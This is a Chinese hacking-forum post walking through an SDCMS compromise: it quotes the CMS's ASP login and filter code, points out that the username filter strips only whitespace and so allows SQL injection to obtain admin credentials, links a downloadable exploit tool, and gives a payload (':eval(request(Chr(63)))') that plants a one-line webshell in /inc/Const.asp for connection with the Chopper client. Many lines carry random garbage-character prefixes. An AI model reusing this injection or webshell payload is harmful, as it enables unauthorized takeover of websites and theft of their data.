SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
3 _5 Y$ n  `- o  O9 e$ Y; a6 I漏洞文件：后台目录/index.asp
( b/ F/ t" ~% K7 l% f( N
  r8 D$ E0 D3 r* USub Check
8 b4 w8 B* t8 N" J    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
* A/ {; W4 ?. y' q& d. ~    username=FilterText(Trim(Request.Form("username")),1)
+ k, T) R1 z9 \5 @: q6 D    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
    getcode=Session("SDCMSCode")
; r8 W6 o6 o4 E0 I) m1 v    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
  [- d- F7 P1 _  p& q6 G1 D    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
+ a4 r. Q1 B/ N9 e; x1 D( h! y    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
) U% H; ^1 X% Y1 }        Echo "用户名或密码不能为空"ied
    Else
/ U' i5 w+ K. H0 q: d        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
) K3 N/ U* b& }* b7 Y        IF Rs.Eof Then
; d9 A: E8 }7 g. W) u  t, j( U% o            AddLog username,GetIp,"登录失败",1
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
+ a4 W2 X! i& p3 j! s        Else
            Add_Cookies "sdcms_id",Rs(0)
3 _( R0 i; C( V" m) y* N7 y9 L/ }            Add_Cookies "sdcms_name",username
  F3 i! A. U, p( M5 C' S  {9 `            Add_Cookies "sdcms_pwd",Rs(2)
4 S/ V2 C$ c  r, d5 a' p! S            Add_Cookies "sdcms_admin",Rs(3)
- J0 x4 W) E+ u8 G- j2 x            Add_Cookies "sdcms_alllever",Rs(4)
            Add_Cookies "sdcms_infolever",Rs(5)
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
8 Q; T: G! k7 j+ t' ~8 t) o0 t            AddLog username,GetIp,"登录成功",1
7 T/ k* M; [* H" c9 X            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
" Y7 m1 E  H2 b: l                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
$ e' S( Z- q3 d$ H& h2 F0 l            Else
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
            End IF
            Go("sdcms_index.asp")
0 y+ l. J# ]$ ]! w; {  J        End IF
8 Z, M+ |# Z1 N( g2 F! B) D9 |        Rs.Close
2 n7 r( _9 ~8 q' _# \* ~) z        Set Rs=Nothing
& J$ |5 p$ T: Z$ ]    End IF
End Sub
5 l3 e8 S* p. r' A0 \  B
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
" h# E7 _8 u, K; Z% f, T! T& [
% F; Z6 ]" U5 b/ X' dFunction FilterText(ByVal t0,ByVal t1)
( U. f( n) f4 u6 q4 u  I8 l( f    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
    t0=Trim(t0)
    Select Case t1
        Case "1"
            t0=Replace(t0,Chr(32),"")
3 J' e) I8 {9 d4 h            t0=Replace(t0,Chr(13),"")
            t0=Replace(t0,Chr(10)&Chr(10),"")
; v7 P$ a' `3 t- X1 T3 p% b: g            t0=Replace(t0,Chr(10),"")
! e9 k2 K( t! X& \6 P+ _. q* x        Case "2"
            t0=Replace(t0,Chr(8),"")'回格
' h0 b: N3 e: A            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
. @" o+ P  T( B2 W1 U  v; j4 }            t0=Replace(t0,Chr(10),"")'换行
+ q; A, [2 \* }* R' ]' Q) A            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
0 k+ t% C" K) C- I( L& ]            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
$ R5 L& O% N& `4 l            t0=Replace(t0,Chr(22),"")
' ^+ a3 u; C0 o            t0=Replace(t0,Chr(32),"")'空格 SPACE
& v0 x  [. _( i4 V: b            t0=Replace(t0,Chr(33),"")'!
  ~' ]* X; o8 F3 u* ^            t0=Replace(t0,Chr(34),"")'"
+ X$ k  X0 q) N. ^            t0=Replace(t0,Chr(35),"")'#
! X: Y) n( A4 z( |            t0=Replace(t0,Chr(36),"")'$
            t0=Replace(t0,Chr(37),"")'%
; u! j+ ?5 s+ \$ J            t0=Replace(t0,Chr(38),"")'&
# {7 x+ {+ A( h# D1 E. f/ S* e, q" b            t0=Replace(t0,Chr(39),"")''
; d5 z/ ~0 O6 w4 f# P/ U! C( G  c            t0=Replace(t0,Chr(40),"")'(
            t0=Replace(t0,Chr(41),"")')
            t0=Replace(t0,Chr(42),"")'*
# F# B1 J; x" B8 `. c6 B            t0=Replace(t0,Chr(43),"")'+
  ^; S- U7 a$ n' o6 A* _0 s$ M            t0=Replace(t0,Chr(44),"")',
            t0=Replace(t0,Chr(45),"")'-
            t0=Replace(t0,Chr(46),"")'.
( B7 J2 Q( w' M            t0=Replace(t0,Chr(47),"")'/
$ O; I! l2 R" i5 ^5 P" y            t0=Replace(t0,Chr(58),"")':
            t0=Replace(t0,Chr(59),"")';
  J& _% g$ j5 Y! q% a* L( Q3 u7 X            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
            t0=Replace(t0,Chr(63),"")'?
( {$ ]1 H9 Q' e, q) _4 H            t0=Replace(t0,Chr(64),"")'@
7 ^. a3 C( x4 _1 _            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
) I' _  j. e5 ]# }5 d            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
            t0=Replace(t0,Chr(95),"")'_
            t0=Replace(t0,Chr(96),"")'`
% S7 X% V0 Q6 S9 J            t0=Replace(t0,Chr(123),"")'{
            t0=Replace(t0,Chr(124),"")'|
            t0=Replace(t0,Chr(125),"")'}
8 \: s$ x4 K+ [: b% M            t0=Replace(t0,Chr(126),"")'~
1 m% Q; a" i) p, l    Case Else
$ H" T( q3 L  m0 t" R% M; i        t0=Replace(t0, "&", "&")
" @# [& j8 D  i7 k) l5 t1 Y/ c        t0=Replace(t0, "'", "'")
, c* [' r$ I0 K3 \6 N" f        t0=Replace(t0, """", """)
7 `6 x: r2 E+ X9 A        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
" r, U* B/ t- m% |1 x' ]$ C    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
% d5 e% f$ P4 K7 N: B    FilterText=t0
& S; ^1 y9 o* K) ?, |# vEnd Function
6 e% y( V; J% E% y4 B# |
, l$ F* K1 ]+ I) n; ~, A看到没。直接参数是1 只过滤
                        t0=Replace(t0,Chr(32)," ")
                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
$ k1 t0 c* I3 G* o  X")
5 n; g( R2 w; T2 e9 U9 U* I3 w& A+ S7 q                        t0=Replace(t0,Chr(10),"
- T/ k) ~9 b& t: Z: s$ c" Z")
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
- W1 |1 ]" E8 ~4 K( S7 ^7 g$ b7 k  cEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP

测试:

' Y9 A9 r  X6 [5 B' a& d% W, [" m
现在输入工具上验证码,然后点OK
' ^+ F. W) {0 n' I; M6 P

看到我们直接进入后台管理界面了,呵呵!



: Y$ i9 g6 h3 v: G! j这样直接进入后台了。。。。
2 H1 I, h- k2 H- m) M  ?3 M
) m7 ]/ H2 @! i8 Z( A& }, i3 Y
% U) z7 p8 ]+ z& V+ E& S
SDCMS提权:
& m1 q# C( s  ^0 @$ p
4 L& z5 D, p. L; N5 d4 C' F方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
; T& k/ J1 Q+ u9 t
! y5 F/ `* D: _& b! t

4 c# u, \3 t: Z$ r1 H$ m7 JOK,现在用菜刀连接下!

, r" e) t$ X8 i6 P& _. Q



1 s$ S0 Y5 U0 H" {& T& X# ~